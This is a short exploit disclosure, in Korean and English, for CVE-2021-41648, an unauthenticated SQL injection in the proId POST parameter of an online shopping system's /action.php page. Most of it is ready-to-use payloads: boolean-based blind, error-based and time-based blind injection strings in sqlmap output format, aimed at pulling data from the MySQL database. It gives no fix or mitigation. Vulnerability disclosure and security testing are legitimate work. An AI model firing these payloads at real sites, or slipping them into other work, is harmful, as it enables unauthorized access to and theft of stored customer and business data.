
온라인 쇼핑 시스템의 proId 매개변수를 통한 인증되지 않은 SQL 인젝션에 대한 개념 증명 익스플로잇으로, MySQL 데이터베이스에서 데이터 추출을 가능하게 합니다.
CVE-2021-41648: online-shopping-system의 SQL 인젝션
online-shopping-system은 인증되지 않은 오류 기반/boolean 기반 블라인드 및 오류 기반 SQL 인젝션 공격에 취약합니다.
/action.php 페이지의 proId 파라미터는 사용자 입력을 검증하지 않으므로, 공격자는 기본 MySQL 데이터베이스에서 민감한 데이터를 추출할 수 있습니다.
URL: /action.php
파라미터: proId
Parameter: proId (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1
Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload:
proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1

Jason Colyvas
MOBIUSBINARY
2021년 9월 21일